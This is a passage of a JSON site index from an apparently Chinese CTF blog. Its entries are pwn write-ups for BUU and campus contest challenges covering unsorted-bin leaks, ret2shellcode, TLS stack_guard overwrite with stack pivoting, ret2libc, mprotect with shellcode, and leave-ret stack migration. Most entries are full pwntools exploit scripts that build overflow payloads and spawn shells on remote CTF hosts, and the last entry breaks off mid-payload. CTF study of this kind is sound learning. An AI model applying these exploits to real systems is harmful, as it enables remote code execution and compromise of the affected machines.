* 2 - 2]; // unsorted bin 是 bins[0] 和 bins[1] ... }; bins[0]（即 unsorted bin 的 fd）位于 \u0026amp;main_arena + 0x58 bins[1]（即 unsorted bin 的 bk）也从同一位置开始（因为是双向链表） 所以：unsorted bin 中 chunk 的 bk = `\u0026amp;main_arena + 0x58 = main_arena + 88 ✅ 后续利用逻辑正确吗？ 你的后续步骤：\nmalloc_hook = mainarena - 0x10 → 这是基于 旧版 glibc（如 2.23） 的偏移。在 glibc 2.23 中：\nmain_arena 距离 __malloc_hook 通常是 +0x10，所以 __malloc_hook = main_arena - 0x10 是对的。 然后你用 LibcSearcher 自动找 libc 版本，再写 __malloc_hook - 35（one_gadget 常见偏移），最后触发 alloc(1) 调用 malloc，执行 system。\n✅ 整体思路是标准的 unsorted bin leak + malloc_hook hijack。\n如果你有具体的 libc 版本或题目名称，我可以进一步验证偏移是否准确。希望这个解释帮你彻底理解了 dump(2) 为何能泄露 main_arena + 88！\n","date":"April 1, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-2/2-2-2/main_arena-+-88%E6%98%AF%E4%BB%80%E4%B9%88/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1775001600,"title":"main_arena + 88是什么"},{"categories":[{"title":"比赛","url":"/categories/%E6%AF%94%E8%B5%9B/"}],"content":"给出的回显格式是:５４ ＋ ９９ ＝\n00000000 0a ef bc 97 ef bc 91 20 08 20 ef bc 8b 20 08 20 │····│··· │· ··│· · │ 00000010 ef bc 94 ef bc 92 20 08 20 ef bc 9d 20 │····│·· ·│ ···│ │ 0000001d ７１ ＋ ４２ ＝ 字符是全角的 ef bc 97是一串，代表7 ef bc 8b是+ ef bc 9d 是= 20 08 20是空格\n口算20个就可以了 难道没有ai我啥也不是🐎 要提取算式\nfrom pwn import * from LibcSearcher import LibcSearcher import unicodedata import time #程序是几位的 con=64 if con == 32: print(\u0026#39;当前程序是32位的:\u0026#39;) context(log_level=\u0026#39;debug\u0026#39;, arch=\u0026#39;i386\u0026#39;, os=\u0026#39;linux\u0026#39;) elif con == 64: print(\u0026#34;当前程序是64位的\u0026#34;) context(log_level=\u0026#39;debug\u0026#39;, arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] #_______________________________________________________ #local_file = (\u0026#39;./pwn\u0026#39;) #elf = ELF(local_file) debug=0 if debug: print(\u0026#39;开始打本地:\u0026#39;) io=process(local_file) else: print(\u0026#34;开始打远程\u0026#34;) io = remote(\u0026#34;nc1.ctfplus.cn\u0026#34;, 30953) #_______________需要用到的地址区包括offset_____________________ #main = elf.symbols[\u0026#34;main\u0026#34;] #main地址-------------------- def zh(data): fullwidth_utf8 = { b\u0026#39;\\xef\\xbc\\x90\u0026#39;: \u0026#39;0\u0026#39;, b\u0026#39;\\xef\\xbc\\x91\u0026#39;: \u0026#39;1\u0026#39;, b\u0026#39;\\xef\\xbc\\x92\u0026#39;: \u0026#39;2\u0026#39;, b\u0026#39;\\xef\\xbc\\x93\u0026#39;: \u0026#39;3\u0026#39;, b\u0026#39;\\xef\\xbc\\x94\u0026#39;: \u0026#39;4\u0026#39;, b\u0026#39;\\xef\\xbc\\x95\u0026#39;: \u0026#39;5\u0026#39;, b\u0026#39;\\xef\\xbc\\x96\u0026#39;: \u0026#39;6\u0026#39;, b\u0026#39;\\xef\\xbc\\x97\u0026#39;: \u0026#39;7\u0026#39;, b\u0026#39;\\xef\\xbc\\x98\u0026#39;: \u0026#39;8\u0026#39;, b\u0026#39;\\xef\\xbc\\x99\u0026#39;: \u0026#39;9\u0026#39;, } i = 0 digits = [] while i \u0026lt; len(data): if data[i:i+3] in fullwidth_utf8: digits.append(fullwidth_utf8[data[i:i+3]]) i += 3 else: i += 1 result = \u0026#39;\u0026#39;.join(digits) return result io.recvuntil(b\u0026#34;solve all the questions to get the shell!\u0026#34;) for i in range(100): string1 = io.recv() print(string1) s = string1 sep = b\u0026#34; \\x08 \\xef\\xbc\\x8b \u0026#34; before, found, after = s.partition(sep) if found: result1 = before result2 = after else: result = 0 num1 = int(zh(before)) num2 = int(zh(after)) sum = num1 + num2 io.sendline(str(sum)) sleep(0.3) #————————————————————payload2—————————————————————————— io.interactive() ","date":"March 29, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/contest-2026/wp1-%E6%95%B0%E6%8D%AE%E6%8E%A5%E6%94%B6%E5%92%8C%E6%A0%BC%E5%BC%8F%E8%BD%AC%E6%8D%A2/","smallImg":"","tags":[{"title":"2026校赛","url":"/tags/2026%E6%A0%A1%E8%B5%9B/"}],"timestamp":1774742400,"title":"wp1-数据接收和格式转换"},{"categories":[{"title":"比赛","url":"/categories/%E6%AF%94%E8%B5%9B/"}],"content":" 输入\u0026gt;=5 会直接跳转到下面这个函数 read可以溢出\n__int64 __fastcall main(__int64 a1, char **a2, char **a3) { signed int v4; // [rsp+Ch] [rbp-24h] BYREF _BYTE buf[10]; // [rsp+12h] [rbp-1Eh] BYREF int v6; // [rsp+1Ch] [rbp-14h] int j; // [rsp+20h] [rbp-10h] int i; // [rsp+24h] [rbp-Ch] int v9; // [rsp+28h] [rbp-8h] int v10; // [rsp+2Ch] [rbp-4h] sub_4011D6(a1, a2, a3); v10 = -559038737; v9 = 0; while ( v10 ) { v6 = sub_401253(); if ( v6 == 5 ) { puts(\u0026#34;The notepad is closed.\u0026#34;); v10 = 0; goto LABEL_34; } if ( v6 \u0026gt; 5 ) { LABEL_33: puts(\u0026#34;Invalid choice.\u0026#34;); goto LABEL_34; } switch ( v6 ) { case 4: printf(\u0026#34;index: \u0026#34;); __isoc23_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v4); if ( (unsigned int)v4 \u0026gt; 9 || !*((_QWORD *)\u0026amp;unk_404260 + v4) ) { LABEL_30: puts(\u0026#34;Invalid index.\u0026#34;); break; } *((_QWORD *)\u0026amp;unk_404260 + v4) = 0; puts(\u0026#34;Delete a note successfully.\u0026#34;); break; case 3: printf(\u0026#34;index: \u0026#34;); __isoc23_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v4); if ( (unsigned int)v4 \u0026gt; 9 || !*((_QWORD *)\u0026amp;unk_404260 + v4) ) goto LABEL_30; if ( *((_QWORD *)\u0026amp;unk_404260 + v4) == 1 ) { printf(\u0026#34;Content: \u0026#34;); write(1, (char *)\u0026amp;unk_4040C0 + 40 * v4, 0x28u); putchar(10); } else { puts(\u0026#34;The paper is empty.\u0026#34;); } break; case 1: for ( i = 0; i \u0026lt;= 9; ++i ) { if ( !*((_QWORD *)\u0026amp;unk_404260 + i) ) { *((_QWORD *)\u0026amp;unk_404260 + i) = malloc(0x64u); printf(\u0026#34;Create a note successfully.Index of the note is %d\\n\u0026#34;, i); break; } } if ( i == 10 ) puts(\u0026#34;No space for new note.\u0026#34;); break; case 2: printf(\u0026#34;index: \u0026#34;); __isoc23_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v4); if ( (unsigned int)v4 \u0026gt; 9 || !*((_QWORD *)\u0026amp;unk_404260 + v4) ) goto LABEL_30; if ( *((_QWORD *)\u0026amp;unk_404260 + v4) == 1 ) { puts(\u0026#34;The paper already used.\u0026#34;); } else { printf(\u0026#34;Content: \u0026#34;); read(0, *((void **)\u0026amp;unk_404260 + v4), 0x64u); memcpy((char *)\u0026amp;unk_4040C0 + 40 * v4, *((const void **)\u0026amp;unk_404260 + v4), 0x28u); free(*((void **)\u0026amp;unk_404260 + v4)); *((_QWORD *)\u0026amp;unk_404260 + v4) = 1; puts(\u0026#34;Write a note successfully.\u0026#34;); } break; default: goto LABEL_33; } LABEL_34: putchar(10); } printf(\u0026#34;Do you want to clear all the notes before exiting? (y/n): \u0026#34;); read(0, buf, 0x64u); if ( buf[0] == 121 || buf[0] == 89 ) { for ( j = 0; j \u0026lt;= 9; ++j ) { if ( *((_QWORD *)\u0026amp;unk_404260 + j) \u0026lt; 2u ) { if ( *((_QWORD *)\u0026amp;unk_404260 + j) == 1 ) { ++v9; *((_QWORD *)\u0026amp;unk_404260 + j) = 0; } } else { ++v9; free(*((void **)\u0026amp;unk_404260 + j)); *((_QWORD *)\u0026amp;unk_404260 + j) = 0; } } printf(\u0026#34;%d notes have been cleared.\\n\u0026#34;, v9); } return 0; } _BYTE buf[10]; // [rsp+12h] [rbp-1Eh] BYREF var_24是v4 var_14是一开始的选择 var_10是j var_C是i var_8是v9 var_4是v10 = \u0026lsquo;\\xDE\\xAD\\xBE\\xEF\u0026rsquo;; var_4要保持大于0，或者每次都直接返回main再选个5\n这些都没什么用 .bss是rwxp note从004040C0 开始存 一段最多存40 shellcode大于40，分段存，存是\nr.sendlineafter(b\u0026#39;Input your choice:\u0026#39;,b\u0026#39;1\u0026#39;) r.sendlineafter(b\u0026#39;Input your choice:\u0026#39;,b\u0026#39;2\u0026#39;) r.sendlineafter(b\u0026#39;index: \u0026#39;,b\u0026#39;0\u0026#39;) r.sendlineafter(b\u0026#39;Content:\u0026#39;,shellcode1) 溢出点在read，payload如下：\nr.sendlineafter(b\u0026#39;Input your choice:\u0026#39;,b\u0026#39;5\u0026#39;) payload = b\u0026#39;a\u0026#39;*(0x1e + 8) + p64(addr) + p64(ret) #这个ret倒是可加可不加 r.sendlineafter(b\u0026#39;Do you want to clear all the notes before exiting? (y/n):\u0026#39;,payload) exp:\nfrom pwn import * local_file = \u0026#39;./pwn\u0026#39; local_libc = \u0026#39;./ld-linux-x86-64.so.2\u0026#39; remote_libc = \u0026#39;./ld-linux-x86-64.so.2\u0026#39; select = 0 if select == 0: r = process(local_file) libc = ELF(local_libc) else: r = remote(\u0026#39;nc1.ctfplus.cn\u0026#39;, 24080) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = \u0026#39;debug\u0026#39; context.arch = elf.arch main = 0x004012DA ret = 0x0000000000401016 addr = 0x004040C0 shellcode = asm(shellcraft.sh()) print(len(shellcode)) shellcode1 = shellcode[0:40] shellcode2 = shellcode[40:80] shellcode3 = shellcode[80:120] r.sendlineafter(b\u0026#39;Input your choice:\u0026#39;,b\u0026#39;1\u0026#39;) r.sendlineafter(b\u0026#39;Input your choice:\u0026#39;,b\u0026#39;2\u0026#39;) r.sendlineafter(b\u0026#39;index: \u0026#39;,b\u0026#39;0\u0026#39;) r.sendlineafter(b\u0026#39;Content:\u0026#39;,shellcode1) r.sendlineafter(b\u0026#39;Input your choice:\u0026#39;,b\u0026#39;1\u0026#39;) r.sendlineafter(b\u0026#39;Input your choice:\u0026#39;,b\u0026#39;2\u0026#39;) r.sendlineafter(b\u0026#39;index: \u0026#39;,b\u0026#39;1\u0026#39;) r.sendlineafter(b\u0026#39;Content:\u0026#39;,shellcode2) r.sendlineafter(b\u0026#39;Input your choice:\u0026#39;,b\u0026#39;1\u0026#39;) r.sendlineafter(b\u0026#39;Input your choice:\u0026#39;,b\u0026#39;2\u0026#39;) r.sendlineafter(b\u0026#39;index: \u0026#39;,b\u0026#39;2\u0026#39;) r.sendlineafter(b\u0026#39;Content:\u0026#39;,shellcode3) r.sendlineafter(b\u0026#39;Input your choice:\u0026#39;,b\u0026#39;5\u0026#39;) payload = b\u0026#39;a\u0026#39;*(0x1e + 8) + p64(addr) r.sendlineafter(b\u0026#39;Do you want to clear all the notes before exiting? (y/n):\u0026#39;,payload) r.interactive() ","date":"March 29, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/contest-2026/wp2-ret2shellcode/","smallImg":"","tags":[{"title":"2026校赛","url":"/tags/2026%E6%A0%A1%E8%B5%9B/"}],"timestamp":1774742400,"title":"wp2--ret2shellcode"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"思路 pthread多线程利用 栈溢出覆盖TLS结构体中内容，来绕过canary保护 栈迁移到bss段去执行onegadget 主函数： 漏洞函数：可以栈溢出 基本知识\n/ sysdeps\\x86_64\\nptl\\tls.h typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; \u0026lt;=============== uintptr_t pointer_guard; ... } tcbhead_t; 在结构体 tcbhead_t 中，我们可以看到 stack_guard 字段，单个线程的 canary 值就存放在这里，函数退出时就是从这里取值与canary做异或。所以我们只要把他覆盖为和栈中canary一样的值就能绕过下面的检查： 那么接下来我们就需要找到输入点与stack_guard 字段之间的偏移，因为我尝试过多覆盖一点，但是这样会发生错误，可能是其他数据不能覆盖吧？？\n所以我们还是精准覆盖，计算方法如下：我们输入数据的位置在0x7ffff77c0ee0，然后用 p/x \u0026amp;(*(tcbhead_t*)(pthread_self())).stack_guard，计算偏移： exp：\nfrom pwn import * from pwn import p64,u64,p32,u32,p8 context.terminal = [\u0026#34;tmux\u0026#34;,\u0026#34;sp\u0026#34;,\u0026#34;-h\u0026#34;] context(log_level=\u0026#34;debug\u0026#34;,os=\u0026#34;linux\u0026#34;,arch=\u0026#34;amd64\u0026#34;) # io=remote(\u0026#39;node5.buuoj.cn\u0026#39;,28304) io = process(\u0026#34;./pwn\u0026#34;) elf=ELF(\u0026#34;./pwn\u0026#34;) libc=ELF(\u0026#39;/ctf/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so\u0026#39;) sla = lambda x,y : io.sendlineafter(x,y) sa = lambda x,y : io.sendafter(x,y) sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) gd = lambda : gdb.attach(io) inter = lambda : io.interactive() def pwn(): pause() puts_plt = elf.plt[\u0026#34;puts\u0026#34;] puts_got = elf.got[\u0026#34;puts\u0026#34;] read_plt = elf.plt[\u0026#39;read\u0026#39;] prdi = 0x0000000000400c03 prsi_r15 = 0x0000000000400c01 one = [0x4f2a5,0x4f302,0x10a2fc] bss = elf.bss() sla(b\u0026#34;send?\u0026#34;,str(0x1850)) payload = b\u0026#34;a\u0026#34;*0x1010 payload += p64(bss) # rop链调用put来泄露libc基址 payload += p64(prdi) + p64(puts_got) payload += p64(puts_plt) payload += p64(prdi) + p64(0) # read链向bss中写入onegadget payload += p64(prsi_r15) + p64(bss) + p64(0) payload += p64(read_plt) payload += p64(0x400955) # 将stack_guard覆盖为a，与前面的canary一样 payload = payload.ljust(0x1850,b\u0026#34;a\u0026#34;) sd(payload) pause() io.recvuntil(\u0026#34;It\u0026#39;s time to say goodbye.\\n\u0026#34;,drop=False) puts_addr=u64(io.recv(6).ljust(8,b\u0026#39;\\x00\u0026#39;)) print(\u0026#34;puts_addr -------\u0026gt; \u0026#34;+hex(puts_addr)) libc_base=puts_addr-libc.symbols[\u0026#39;puts\u0026#39;] payload=p64(0) + p64(libc_base+one[2]) io.send(payload) inter() pwn() ","date":"March 27, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E5%85%AD%E9%A1%B5/starctf2018_babystack/starctf2018_babystack-canary%E6%A0%88%E8%BF%81%E7%A7%BBtsl/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1774569600,"title":"starctf2018_babystack--canary\u0026栈迁移\u0026TSL"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"wp源地址\n总结 通过本题的学习与总结有：\n之前一直以为ret2libc必须得返回到原本的输入函数处，再次输入一次getshell。但有时候我们重新返回到原本的输入函数可能会出现一些问题，因此我们可以打一个栈迁移+rop执行read。就是先覆盖rbp为bss段上的地址，然后执行puts函数泄露libc，接着执行read函数往bss段上输入数据，最后执行leave ret完成栈迁移从而将执行流劫持到bss段上\n插入到栈里的canary是从TLS结构体中的stack_guard成员变量赋值过来的(而函数返回时，会将栈里的canary与TLS中的stack_guard做对比)。主线程中的TLS通常位于mmap映射出来的地址空间里，而位置也比较随机，覆盖的可能性不大；子线程中的TLS则位于线程栈的顶部(高地址处)，而这个子线程栈通常也是mmap映射出来的一段内存，这就给了我们栈溢出控制子线程中的TLS机会\nTLS(Thread Local Storage) 线程局部存储。本身是一种机制，简单来说就是多个线程访问同一个全局变量或者静态变量可能会发生冲突，而这个机制类似于让每个线程都备份了一份全局变量或者静态变量，当前线程只能修改自己这份全局变量或者静态变量并不会影响其他线程的全局变量以及静态变量。\n在glibc实现中，TLS被指向一个segment register fs(x86-64上)，它的结构tcbhead_t定义如下：\n| | |---| |typedef struct \u0026lt;br\u0026gt;{ \u0026lt;br\u0026gt; void *tcb; /* Pointer to the TCB. Not necessarily the \u0026lt;br\u0026gt; thread descriptor used by libpthread. */ \u0026lt;br\u0026gt; dtv_t *dtv; \u0026lt;br\u0026gt; void *self; /* Pointer to the thread descriptor. */ \u0026lt;br\u0026gt; int multiple_threads; \u0026lt;br\u0026gt; int gscope_flag; \u0026lt;br\u0026gt; uintptr_t sysinfo; \u0026lt;br\u0026gt; uintptr_t stack_guard; \u0026lt;br\u0026gt; uintptr_t pointer_guard; \u0026lt;br\u0026gt; ... \u0026lt;br\u0026gt;} tcbhead_t;| 而上面的stack_guard也就是放到栈里的canary，而在程序里看见的这行代码 `xor rdx, fs:28h`中的fs寄存器也就指向了TLS这个结构体，而偏移0x28的位置正好是stack_guard,canary是来自于内核生成的一个随机数。 最后要说一下这个子线程栈和父线程内存的关系。每个线程都会有自己单独的栈区，而子线程的栈区通常都是调用了mmap映射了一段内存。在父进程里我们依然可以看到这片内存，如下 在父线程中依然可以看到这片内存，并且发现是mmap映射出来的区域，如下，所以子线程的栈区只是对于自己是私有的，这并不意味着其他线程访问不了，如果能拿到相关指针，依然可以对其操作。\n保护策略 程序分析 主函数就是开了一个子线程出来，然后子线程去执行了这个函数 而在子线程调用的这个函数，漏洞是很明显的栈溢出(如下)。特点是溢出的字节数很大。\n利用思路 本程序是在子线程里有一个很大的栈溢出漏洞，而子线程的栈是mmap映射出来的内存，并且TLS位于栈的顶部(高地址)，这道题的关键就是绕过canary保护。因为最后canary会和fs:0x28的值去比较，而fs就是TLS的首地址，0x28的位置就是stack_guard(canary就是拷贝的这个值放到的栈里)。因此我们在子线程里栈溢出去控制TLS里的stack_guard，让其和canary的值一样即可。\n如果想要在gdb中获取子线程TLS的首地址可以执行x/x pthread_self()来查看。\n剩下的思路就是先控制rbp为bss段地址，接着执行puts函数泄露libc地址，再控制执行流调用read函数，将one_gadget读入到bss段(因为执行system函数会出现一些错误),最后执行leave;ret将栈迁移到bss段，劫持执行流到刚才读入的one_gadget上。\nEXP from tools import * context.arch=\u0026#39;amd64\u0026#39; context.log_level=\u0026#39;debug\u0026#39; p,e,libc=load(\u0026#34;a\u0026#34;,\u0026#34;node4.buuoj.cn:29028\u0026#34;,\u0026#34;buu64-libc-2.27.so\u0026#34;) pop_rdi=0x0000000000400c03 pop_rsi_r15=0x0000000000400c01 leave_ret=0x0000000000400955 debug(p,0x400A7D) p.sendlineafter(\u0026#34;How many bytes do you want to send?\u0026#34;,str(0x1850)) pause() payload=b\u0026#39;a\u0026#39;*0x1008+p64(0xdeadbeef)#0xdeadbeef is canary payload+=p64(0x602030-8+0x180)#rbp payload+=p64(pop_rdi)+p64(e.got[\u0026#39;puts\u0026#39;])+p64(e.plt[\u0026#39;puts\u0026#39;]) payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x602030+0x180)+p64(0)+p64(e.plt[\u0026#39;read\u0026#39;])+p64(leave_ret) payload=payload.ljust(0x1848,b\u0026#34;a\u0026#34;) payload+=p64(0xdeadbeef)#TLS stack_guard print(len(payload)) p.send(payload) libc_base=recv_libc()-libc.symbols[\u0026#39;puts\u0026#39;] sys_addr = libc_base + libc.symbols[\u0026#39;system\u0026#39;] bin_sh_addr = libc_base +next(libc.search(b\u0026#34;/bin/sh\u0026#34;)) log_addr(\u0026#39;libc_base\u0026#39;) sleep(0.2) p.send(p64(libc_base+search_og(1))) p.interactive() ","date":"March 27, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E5%85%AD%E9%A1%B5/starctf2018_babystack/wp2/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1774569600,"title":"wp2"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * p = process(\u0026#39;bjdctf_2020_babyrop2\u0026#39;) libcelf = ELF(\u0026#39;/lib/x86_64-linux-gnu/libc.so.6\u0026#39;) poprdiret = 0x0000000000400993 main = 0x00000000004008DA pltputs = 0x0000000000400610 gotputs = 0x0000000000601018 p.sendlineafter(\u0026#34;I\u0026#39;ll give u some gift to help u!\\n\u0026#34;,\u0026#34;%7$p\u0026#34;) canary = int(p.recvuntil(\u0026#34;00\u0026#34;)[2:],16) log.success(hex(canary)) payload = (0x20-0x8)*\u0026#39;a\u0026#39; + p64(canary) + p64(0) + p64(poprdiret) + p64(gotputs) + p64(pltputs) + p64(main) p.sendlineafter(\u0026#34;Pull up your sword and tell me u story!\\n\u0026#34;,payload) realgots = u64(p.recvuntil(\u0026#34;\\x7f\u0026#34;).ljust(8,\u0026#39;\\x00\u0026#39;)) log.success(hex(realgots)) libcbase = realgots - libcelf.symbols[\u0026#39;puts\u0026#39;] log.success(hex(libcbase)) system = libcbase + libcelf.symbols[\u0026#39;system\u0026#39;] binsh = libcbase + libcelf.search(\u0026#34;/bin/sh\u0026#34;).next() p.sendlineafter(\u0026#34;I\u0026#39;ll give u some gift to help u!\\n\u0026#34;,\u0026#34;1\u0026#34;) payload = (0x20-0x8)*\u0026#39;a\u0026#39; + p64(canary) + p64(0) + p64(poprdiret) + p64(binsh) + p64(system) + p64(main) p.sendlineafter(\u0026#34;Pull up your sword and tell me u story!\\n\u0026#34;,payload) p.interactive() ","date":"March 26, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-1/2-1-4/exp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1774483200,"title":"exp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * from LibcSearcher import * local_file = \u0026#39;./get_started_3dsctf_2016\u0026#39; select = 1 if select == 0: r = process(local_file) else: r = remote(\u0026#39;node5.buuoj.cn\u0026#39;,25220) elf = ELF(local_file) context.log_level = \u0026#39;debug\u0026#39; get_flag=0x080489A0 exit=0x0804E6A0 payload=b\u0026#39;a\u0026#39;*(56)+p32(get_flag)+p32(exit)+p32(814536271)+p32(425138641) r.sendline(payload) r.recvline() r.interactive() ","date":"March 25, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/buuctf-pwn12-get_started_3dsctf_2016/exp1/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1774396800,"title":"exp1"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * r = remote(\u0026#39;node5.buuoj.cn\u0026#39;,26036) elf = ELF(\u0026#39;./get_started_3dsctf_2016\u0026#39;) mprotect_addr=elf.symbols[\u0026#39;mprotect\u0026#39;] #我们通过函数执行获取mprotect的地址 read_addr=elf.symbols[\u0026#39;read\u0026#39;] #获取read函数地址 edx_ecx_ebx_ret=0x0806fc08# 三个寄存器不用非的一样 payload=b\u0026#39;a\u0026#39;*(0x38)+p32(mprotect_addr) payload+=p32(edx_ecx_ebx_ret) payload+=p32(0x080EB000)+p32(0x1000)+p32(0x7) #0x080EB000是4kb的整数倍 0x7就是可读可写可执行 payload+=p32(read_addr) #ret返回到read函数 payload+=p32(edx_ecx_ebx_ret) #read也需要三个参数，我们回收利用 payload+=p32(0)+p32(0x080EB000)+p32(0x100) #0就是输入 payload+=p32(0x080EB000) #shellcode已经写入0x080EB000,而且0x080EB000地址权限是最高的，我们直接通过ret回来shell r.sendline(payload) shellcode=asm(shellcraft.sh()) #生成shellcode r.sendline(shellcode) r.interactive() ","date":"March 25, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/buuctf-pwn12-get_started_3dsctf_2016/exp2/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1774396800,"title":"exp2"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"看到文件开启了NX保护 有一个fgets函数 去看看有没有什么能用的 没有/bin/sh ida里面找了找也没有system 题目给了libc.so文件，属于第三类的ret2libc 再看看libc.so文件\n这个是system的地址，这个和ida找到的不一样，先用这个试试 这个是libc_start_main 的地址，不知道有没有用先搞下来 这里又有了/bin/sh 现在有些问题是没有学pwntool咋用，好消息是好像什么都给了\npayload构造: 我们要做的只是把binsh传进system里 那么先溢出，再传system，/bin/sh然而不行 libc会有栈对齐的要求,要ret 改为先溢出，再ret，再pop一个rdi，再binsh，再system 或者先溢出，再binsh ，再ret，再system\npayload = b\u0026#39;a\u0026#39;*0x20 + p64(0xdeadbeef) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) 现在有一些问题 为什么是先binsh再system 为什么pop的是rdi函数调用寄存器规则 再看之前写的，system和binsh是在glibc库里的，在程序运行前是没有具体地址的。 在想要调用的函数没有被调用过，想要调用他的时候，是按照这个过程来调用的 xxx@plt -\u0026gt; xxx@got -\u0026gt; xxx@plt -\u0026gt; 公共 @plt -\u0026gt; _dl_runtime_resolve 可以参考_dl_runtime_resolve如何找到函数 也就是说我们需要\n找到偏移量（也就是找到libc版本） 找到运行后的实际地址 接收泄露地址 栈对齐 两次运行 确保pop_gadget地址正确 找libc库的话wiki中有给到方法libcsearcher 第一次的payload通过泄露一个函数的地址来确定libc基地址 第二次的payload实行system(/bin/sh) 第一次 payload=b\u0026rsquo;a\u0026rsquo;*0x20+b\u0026rsquo;b\u0026rsquo;*8+p64(pop_rdi)+p64(elf.got[\u0026lsquo;puts\u0026rsquo;])+p64(elf.sym[\u0026lsquo;puts\u0026rsquo;])+p64(elf.sym[\u0026lsquo;main\u0026rsquo;] 函数的调用elf.sym和获得got表中的地址elf.got可以看这个 return2libc 拿到pop_rdi地址和ret地址 pop_rdi = 0x400753\nret = 0x40050e 偏移值\nbinsh 0x1b45bd system 0x52290 计算libc基地址： got=u64(data.ljust(8,b\u0026rsquo;\\0\u0026rsquo;))(ru(b\u0026rsquo;\\x7f\u0026rsquo;)[-6:]) base=got-libc.sym[\u0026lsquo;puts\u0026rsquo;] print(hex(base)) system=base+0x52290 binsh=base+0x1b45bd\n题目返回的是 所以要有r.sendlineafter(\u0026lsquo;Glad to meet you again!What u bring to me this time?\\n\u0026rsquo;,payload)\n第二次payload payload=b\u0026rsquo;a\u0026rsquo;*0x20+b\u0026rsquo;b\u0026rsquo;*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)\n","date":"March 25, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/buu-newstarctf--ret2lbic25.12.15/ret2libc-25.12.11/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1774396800,"title":"ret2libc  25.12.11"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"这类题目的特征是Pasted image 20260110090436.png 我们只能输入0x30,而栈溢出所需要的是0x28+4+4=0x30 我们要将栈空间迁移到一个足够大的空间去构造rop\n栈迁移使用leave_ret leave指令一共执行2个步骤 首先: mov esp ebp 将ebp指向的地址给esp，也就是消除栈空间 然后: pop ebp 将esp指向地址存放的值赋值给ebp，所以ebp就会跑到新的地址，同时此时esp继续+4\nret指令执行1个步骤\nret执行pop eip 将esp指向的地址存放的值给eip esp继续+4\n这样之后，就会将ebp和esp的地址全部修改，从而到达一个新的栈中。\n如何找到ebp的地址 这里可以看到，栈空间是0x28，可以读的是30，所以当读到0x28的时候，+0x4正好覆盖ebp，所以偏移量就是0x2c，又因为有prinf函数，后面直接打印出来地址，因为%s碰到\\x00会截断，如果没有\\x00就会连着打印后面的内容，所以我们将s填满之后不用\\x00结尾，就会将地址全部输出，然后找到ebp的地址即可！\npayload = b\u0026#39;a\u0026#39; * 0x27 + b\u0026#39;b\u0026#39;*4 print(\u0026#39;开始发送数据\u0026#39;) name1=\u0026#34;Welcome, my friend. What\u0026#39;s your name?\\n\u0026#34; io.sendafter(name1,payload) print(\u0026#34;开始准备接收数据:\u0026#34;) io.recvuntil(\u0026#39;bbbb\u0026#39;) ebp = u32(io.recv(4)) print(\u0026#39;ebd的地址为:{}\u0026#39;.format(hex(ebp))) io.interactive() 这样子就可以接收到ebp的值 或者也可以用下面的来接收，有一定区别，不知道为什么\npayload = b\u0026#39;a\u0026#39; * 0x27 + b\u0026#39;b\u0026#39; io.recvuntil(b\u0026#39;Welcome, my friend. What\\\u0026#39;s your name?\\n\u0026#39;) io.send(payload) io.recvuntil(b\u0026#34;b\u0026#34;) ebp = u32(p.recv(4)) print(hex(ebp)) https://blog.csdn.net/rjc20051110/article/details/147026573这个wp写的还不错 最后的exp（这里可以这么写是因为他两次用了同一个栈）\nfrom pwn import * from LibcSearcher import * p = remote(\u0026#34;node5.buuoj.cn\u0026#34;, 26021) elf = ELF(\u0026#34;./ciscn_2019_es_2\u0026#34;) payload = b\u0026#39;a\u0026#39; * 0x27 + b\u0026#39;b\u0026#39; sys_addr = 0x08048400 leave_ret_addr = 0x08048562 p.recvuntil(b\u0026#39;Welcome, my friend. What\\\u0026#39;s your name?\\n\u0026#39;) p.send(payload) p.recvuntil(b\u0026#34;b\u0026#34;) ebp = u32(p.recv(4)) print(hex(ebp)) payload = b\u0026#34;a\u0026#34; * 4 + p32(sys_addr) + p32(0) + 